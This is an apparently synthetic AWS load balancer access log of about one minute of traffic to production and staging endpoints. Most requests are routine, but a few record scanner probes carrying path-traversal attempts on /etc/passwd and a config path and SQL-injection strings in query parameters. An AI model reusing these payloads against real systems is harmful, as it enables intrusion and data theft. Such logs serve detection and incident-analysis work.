2024-11-01T02:40:20.030693Z prod-api-alb 62.227.164.242:64740 10.0.62.89:443 0.087344 0.426174 0.006089 200 200 383 3883 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd24-00a834dd91314176893278d3" "prod-api-alb.example.com" "-" 9 2024-11-01T02:40:20.030693Z "forward" "-" "-" "10.0.62.89:443" "200" "-" "-" -https 2024-11-01T02:40:20.862771Z prod-api-alb 8.162.13.101:49390 10.0.114.198:443 0.096585 0.462221 0.019173 404 404 526 12713 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd24-1181d15570114609ad0cefbc" "prod-api-alb.example.com" "-" 4 2024-11-01T02:40:20.862771Z "forward" "-" "-" "10.0.114.198:443" "404" "-" "-" -https 2024-11-01T02:40:21.510067Z prod-api-alb 70.247.43.6:44770 10.0.25.47:443 0.052364 0.088335 0.010311 200 200 273 5203 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd25-96be7c290d1e4472884c82d1" "prod-api-alb.example.com" "-" 10 2024-11-01T02:40:21.510067Z "forward" "-" "-" "10.0.25.47:443" "200" "-" "-" -http 2024-11-01T02:40:22.412816Z staging-alb 193.27.228.24:57735 63.174.88.214:8080 0.033211 0.744030 0.026951 403 403 55 2248 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd26-21a6b59872c34312a41ee8f2" "-" "-" 10 2024-11-01T02:40:22.412816Z "forward" "-" "-" "63.174.88.214:8080" "403" "-" "-" -https 2024-11-01T02:40:23.915838Z prod-web-alb 42.208.123.77:63261 10.0.114.209:443 0.051099 0.271523 0.063586 302 302 228 3156 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd27-0f498b9c0e7f4d39abf222b9" "prod-web-alb.example.com" "-" 4 2024-11-01T02:40:23.915838Z "forward" "-" "-" "10.0.114.209:443" "302" "-" "-" -https 2024-11-01T02:40:25.475270Z prod-web-alb 91.104.7.167:54418 10.0.132.144:443 0.027021 0.066480 0.041839 404 404 967 3603 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd29-91f27db819354b69a9089b21" "prod-web-alb.example.com" "-" 8 2024-11-01T02:40:25.475270Z "forward" "-" "-" "10.0.132.144:443" "404" "-" "-" -https 2024-11-01T02:40:27.174993Z staging-alb 185.30.87.205:13057 225.233.88.174:443 0.107915 0.280174 0.134682 200 200 8 7493 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd2b-be7aacb98f5b43718d583028" "staging-alb.example.com" "-" 9 2024-11-01T02:40:27.174993Z "forward" "-" "-" "225.233.88.174:443" "200" "-" "-" -http 2024-11-01T02:40:28.507340Z staging-alb 155.185.154.46:11145 31.190.239.56:8080 0.020908 0.679859 0.074344 301 301 855 8777 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd2c-89a811eab967401e8748dad5" "staging-alb.example.com" "-" 7 2024-11-01T02:40:28.507340Z "forward" "-" "-" "31.190.239.56:8080" "301" "-" "-" -https 2024-11-01T02:40:29.689971Z prod-api-alb 5.231.148.14:25281 10.0.103.182:443 0.029133 0.403158 0.032954 200 200 994 4576 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd2d-03018fc1c5f14e2fa219bccf" "prod-api-alb.example.com" "-" 0 2024-11-01T02:40:29.689971Z "forward" "-" "-" "10.0.103.182:443" "200" "-" "-" -https 2024-11-01T02:40:31.126290Z prod-api-alb 175.55.255.205:27667 10.0.80.156:443 0.056456 0.303400 0.092533 302 302 632 7984 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd2f-d411853e2bd840dba00285b3" "prod-api-alb.example.com" "-" 10 2024-11-01T02:40:31.126290Z "forward" "-" "-" "10.0.80.156:443" "302" "-" "-" -https 2024-11-01T02:40:32.690954Z staging-alb 211.172.188.120:43037 69.62.172.6:443 0.002950 0.448203 0.115813 302 302 423 14845 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd30-73b452ccc2714ccd945b8f79" "staging-alb.example.com" "-" 1 2024-11-01T02:40:32.690954Z "forward" "-" "-" "69.62.172.6:443" "302" "-" "-" -https 2024-11-01T02:40:33.897370Z prod-web-alb 89.34.180.32:13804 10.0.66.17:443 0.062804 0.130221 0.011687 301 301 850 1964 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd31-a0822ced625442f787ba7ef3" "prod-web-alb.example.com" "-" 4 2024-11-01T02:40:33.897370Z "forward" "-" "-" "10.0.66.17:443" "301" "-" "-" -https 2024-11-01T02:40:35.142906Z prod-api-alb 173.187.57.225:45569 10.0.84.25:443 0.034304 0.075022 0.090772 200 200 637 5791 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd33-adfc6c97f91341b9a0c9885f" "prod-api-alb.example.com" "-" 10 2024-11-01T02:40:35.142906Z "forward" "-" "-" "10.0.84.25:443" "200" "-" "-" -https 2024-11-01T02:40:36.063219Z staging-alb 79.72.20.173:12005 119.156.75.212:80 0.067587 0.455177 0.006783 404 404 242 12654 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd34-5f417265167f4b1a9307255a" "staging-alb.example.com" "-" 1 2024-11-01T02:40:36.063219Z "forward" "-" "-" "119.156.75.212:80" "404" "-" "-" -https 2024-11-01T02:40:37.142418Z prod-web-alb 6.174.106.234:14400 10.0.146.160:443 0.078416 0.328787 0.005064 302 302 671 5372 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd35-98a179835cbf42b0b9be40da" "prod-web-alb.example.com" "-" 8 2024-11-01T02:40:37.142418Z "forward" "-" "-" "10.0.146.160:443" "302" "-" "-" -https 2024-11-01T02:40:38.342451Z prod-api-alb 85.96.6.221:45862 10.0.183.62:443 0.067159 0.499619 0.007710 200 200 74 7615 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd36-281cd2c8ec654635a2b549bf" "prod-api-alb.example.com" "-" 5 2024-11-01T02:40:38.342451Z "forward" "-" "-" "10.0.183.62:443" "200" "-" "-" -https 2024-11-01T02:40:39.350987Z prod-api-alb 231.176.74.63:61813 10.0.162.43:443 0.068164 0.440799 0.018214 302 302 388 13702 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd37-af1d7fad94c940eca9e3a333" "prod-api-alb.example.com" "-" 9 2024-11-01T02:40:39.350987Z "forward" "-" "-" "10.0.162.43:443" "302" "-" "-" -https 2024-11-01T02:40:40.684722Z prod-web-alb 235.59.51.222:40386 10.0.224.152:443 0.023755 0.142823 0.050008 301 301 364 8789 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd38-3b8c69de144042ecb2d0b231" "prod-web-alb.example.com" "-" 5 2024-11-01T02:40:40.684722Z "forward" "-" "-" "10.0.224.152:443" "301" "-" "-" -http 2024-11-01T02:40:41.910249Z staging-alb 146.151.163.38:31512 14.16.3.203:80 0.086987 0.472449 0.061205 301 301 717 12049 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd39-8fc32eb0a9534dcda115e398" "staging-alb.example.com" "-" 7 2024-11-01T02:40:41.910249Z "forward" "-" "-" "14.16.3.203:80" "301" "-" "-" -http 2024-11-01T02:40:42.787003Z staging-alb 84.58.222.38:39077 85.40.76.112:8080 0.054940 0.503383 0.072316 200 200 264 2738 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd3a-9df2a59b2fa743feae265e92" "staging-alb.example.com" "-" 9 2024-11-01T02:40:42.787003Z "forward" "-" "-" "85.40.76.112:8080" "200" "-" "-" -https 2024-11-01T02:40:43.386812Z prod-api-alb 185.181.119.128:46687 10.0.188.247:443 0.000442 0.168266 0.010486 403 403 608 6164 "POST /metrics HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd3b-f0f54124de634419ab2cb78e" "-" "-" 4 2024-11-01T02:40:43.386812Z "forward" "-" "-" "10.0.188.247:443" "403" "-" "-" -https 2024-11-01T02:40:44.758208Z prod-web-alb 193.27.228.122:23878 10.0.16.191:443 0.057692 0.093734 0.055603 404 404 432 11048 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd3c-67ea5c8edbe8400da29e7be8" "-" "-" 10 2024-11-01T02:40:44.758208Z "forward" "-" "-" "10.0.16.191:443" "404" "-" "-" -https 2024-11-01T02:40:46.736496Z prod-web-alb 45.155.205.16:34169 10.0.223.180:443 0.090308 0.330268 0.081386 403 403 341 11874 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd3e-318096026fcc4b94b3db4d80" "-" "-" 7 2024-11-01T02:40:46.736496Z "forward" "-" "-" "10.0.223.180:443" "403" "-" "-" -https 2024-11-01T02:40:47.651489Z prod-web-alb 185.181.231.107:29422 10.0.211.198:443 0.046423 0.145109 0.002680 200 200 70 13809 "POST /users?id=1 OR 1=1 HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd3f-bc9eea569c6c4e40b105205e" "-" "-" 0 2024-11-01T02:40:47.651489Z "forward" "-" "-" "10.0.211.198:443" "200" "-" "-" -https 2024-11-01T02:40:48.991410Z prod-api-alb 36.92.23.199:30629 10.0.12.90:443 0.036335 0.351514 0.043471 200 200 813 6416 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd40-badfbda3a86440d5986b0a00" "prod-api-alb.example.com" "-" 1 2024-11-01T02:40:48.991410Z "forward" "-" "-" "10.0.12.90:443" "200" "-" "-" -https 2024-11-01T02:40:50.251734Z prod-web-alb 126.124.199.62:12870 10.0.199.24:443 0.055146 0.453410 0.030250 302 302 583 9550 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd42-8b9f308e6d814013afc78926" "prod-web-alb.example.com" "-" 0 2024-11-01T02:40:50.251734Z "forward" "-" "-" "10.0.199.24:443" "302" "-" "-" -https 2024-11-01T02:40:51.258762Z prod-api-alb 29.10.229.34:34862 10.0.198.15:443 0.026991 0.168007 0.011312 302 302 508 14769 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd43-e85b327f327348cc8235df8d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:40:51.258762Z "forward" "-" "-" "10.0.198.15:443" "302" "-" "-" -https 2024-11-01T02:40:52.737033Z staging-alb 189.92.245.234:57814 98.80.62.211:80 0.007021 0.589547 0.065619 301 301 285 3494 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd44-83a35ade8ac249e9aa1fc887" "staging-alb.example.com" "-" 1 2024-11-01T02:40:52.737033Z "forward" "-" "-" "98.80.62.211:80" "301" "-" "-" -https 2024-11-01T02:40:54.080998Z prod-web-alb 82.97.242.226:40975 10.0.138.107:443 0.044026 0.113397 0.040642 200 200 389 11420 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd46-bb4f792c0f6445e6a9f9c31b" "prod-web-alb.example.com" "-" 10 2024-11-01T02:40:54.080998Z "forward" "-" "-" "10.0.138.107:443" "200" "-" "-" -https 2024-11-01T02:40:55.617976Z prod-web-alb 16.190.36.145:27237 10.0.157.167:443 0.050007 0.328896 0.064552 200 200 153 5056 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd47-d39c0bf322d440d889dc4edb" "prod-web-alb.example.com" "-" 3 2024-11-01T02:40:55.617976Z "forward" "-" "-" "10.0.157.167:443" "200" "-" "-" -https 2024-11-01T02:40:56.160818Z prod-web-alb 198.193.158.120:46255 10.0.30.36:443 0.070573 0.003454 0.068257 404 404 629 200 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd48-7b7e9f882f4e43f682d828d4" "prod-web-alb.example.com" "-" 1 2024-11-01T02:40:56.160818Z "forward" "-" "-" "10.0.30.36:443" "404" "-" "-" -http 2024-11-01T02:40:56.354055Z staging-alb 145.174.147.218:58715 231.56.14.10:8080 0.144683 0.310949 0.119633 302 302 184 8068 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd48-e96e806cc0be4886b6c45e20" "staging-alb.example.com" "-" 9 2024-11-01T02:40:56.354055Z "forward" "-" "-" "231.56.14.10:8080" "302" "-" "-" -https 2024-11-01T02:40:57.546326Z prod-api-alb 50.223.199.74:52137 10.0.56.32:443 0.043902 0.167122 0.075040 302 302 174 7375 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd49-3056c997f3734af5bd19619e" "prod-api-alb.example.com" "-" 7 2024-11-01T02:40:57.546326Z "forward" "-" "-" "10.0.56.32:443" "302" "-" "-" -https 2024-11-01T02:40:57.863666Z prod-api-alb 220.245.207.225:53223 10.0.215.19:443 0.030602 0.111848 0.077074 301 301 512 5743 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd49-8856ccdfb52d43a99ce3b714" "prod-api-alb.example.com" "-" 2 2024-11-01T02:40:57.863666Z "forward" "-" "-" "10.0.215.19:443" "301" "-" "-" -https 2024-11-01T02:40:58.334450Z prod-api-alb 165.116.154.31:17230 10.0.79.152:443 0.088863 0.455714 0.064142 301 301 606 14031 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd4a-b105517f41364a5f837787b8" "prod-api-alb.example.com" "-" 0 2024-11-01T02:40:58.334450Z "forward" "-" "-" "10.0.79.152:443" "301" "-" "-" -https 2024-11-01T02:40:59.575397Z prod-api-alb 7.122.21.77:31066 10.0.216.111:443 0.094565 0.264864 0.031577 200 200 924 6081 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd4b-9958651415b944dab6f2cd3e" "prod-api-alb.example.com" "-" 8 2024-11-01T02:40:59.575397Z "forward" "-" "-" "10.0.216.111:443" "200" "-" "-" -https 2024-11-01T02:41:01.356437Z prod-api-alb 193.27.228.146:58127 10.0.221.49:443 0.060540 0.117010 0.009110 404 404 309 7999 "GET /api/../../../config HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd4d-12765d9911d0421dbf5f3db8" "-" "-" 5 2024-11-01T02:41:01.356437Z "forward" "-" "-" "10.0.221.49:443" "404" "-" "-" -https 2024-11-01T02:41:02.235741Z prod-web-alb 141.158.210.122:50199 10.0.249.206:443 0.060699 0.154400 0.062107 404 404 683 13655 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd4e-44e064257da940cba4023366" "prod-web-alb.example.com" "-" 8 2024-11-01T02:41:02.235741Z "forward" "-" "-" "10.0.249.206:443" "404" "-" "-" -https 2024-11-01T02:41:03.366083Z prod-web-alb 151.98.106.106:60031 10.0.24.163:443 0.032955 0.144175 0.012718 404 404 750 6640 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd4f-6aac223660474ee994652437" "prod-web-alb.example.com" "-" 3 2024-11-01T02:41:03.366083Z "forward" "-" "-" "10.0.24.163:443" "404" "-" "-" -https 2024-11-01T02:41:03.944420Z prod-api-alb 238.241.73.224:25392 10.0.41.180:443 0.002443 0.352234 0.025012 404 404 245 12841 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd4f-e4a47d60ac034830b18b183e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:41:03.944420Z "forward" "-" "-" "10.0.41.180:443" "404" "-" "-" -http 2024-11-01T02:41:04.661668Z staging-alb 100.166.218.235:25937 142.202.179.255:80 0.007937 0.674415 0.144009 200 200 701 3804 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd50-566f763661a84e38bfa9f89c" "staging-alb.example.com" "-" 7 2024-11-01T02:41:04.661668Z "forward" "-" "-" "142.202.179.255:80" "200" "-" "-" -https 2024-11-01T02:41:05.226086Z staging-alb 184.219.63.63:34063 173.135.57.66:8080 0.146206 0.737712 0.118098 404 404 695 4193 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd51-047aed28333447f0add9b17c" "staging-alb.example.com" "-" 10 2024-11-01T02:41:05.226086Z "forward" "-" "-" "173.135.57.66:8080" "404" "-" "-" -http 2024-11-01T02:41:06.527158Z staging-alb 246.87.189.87:53225 253.57.251.141:443 0.103124 0.382578 0.132829 200 200 401 11407 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd52-4514b1da2f474c82876083e4" "staging-alb.example.com" "-" 2 2024-11-01T02:41:06.527158Z "forward" "-" "-" "253.57.251.141:443" "200" "-" "-" -https 2024-11-01T02:41:07.013357Z prod-api-alb 40.213.64.231:50098 10.0.203.221:443 0.014785 0.016936 0.025779 200 200 946 1143 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd53-76e38c7a6a8241188ca38f46" "prod-api-alb.example.com" "-" 6 2024-11-01T02:41:07.013357Z "forward" "-" "-" "10.0.203.221:443" "200" "-" "-" -https 2024-11-01T02:41:07.839940Z staging-alb 194.80.86.182:34120 132.140.49.85:8080 0.098210 0.151653 0.049863 200 200 188 2878 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd53-0cf65801fdcd4118bfcb07a3" "staging-alb.example.com" "-" 0 2024-11-01T02:41:07.839940Z "forward" "-" "-" "132.140.49.85:8080" "200" "-" "-" -https 2024-11-01T02:41:09.731429Z prod-api-alb 83.11.194.99:49158 10.0.145.204:443 0.009346 0.165931 0.017516 302 302 589 2934 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd55-0ca4d79572994e0096133be7" "prod-api-alb.example.com" "-" 8 2024-11-01T02:41:09.731429Z "forward" "-" "-" "10.0.145.204:443" "302" "-" "-" -https 2024-11-01T02:41:10.269235Z staging-alb 206.73.86.99:29621 22.154.189.88:8080 0.088597 0.238548 0.000744 301 301 163 11404 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd56-34575c9c1f474210be5c8592" "staging-alb.example.com" "-" 1 2024-11-01T02:41:10.269235Z "forward" "-" "-" "22.154.189.88:8080" "301" "-" "-" -https 2024-11-01T02:41:10.767035Z prod-api-alb 28.97.206.69:50631 10.0.226.110:443 0.021243 0.282188 0.032053 200 200 788 7386 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd56-148ef1b1cd59426385802447" "prod-api-alb.example.com" "-" 0 2024-11-01T02:41:10.767035Z "forward" "-" "-" "10.0.226.110:443" "200" "-" "-" -https 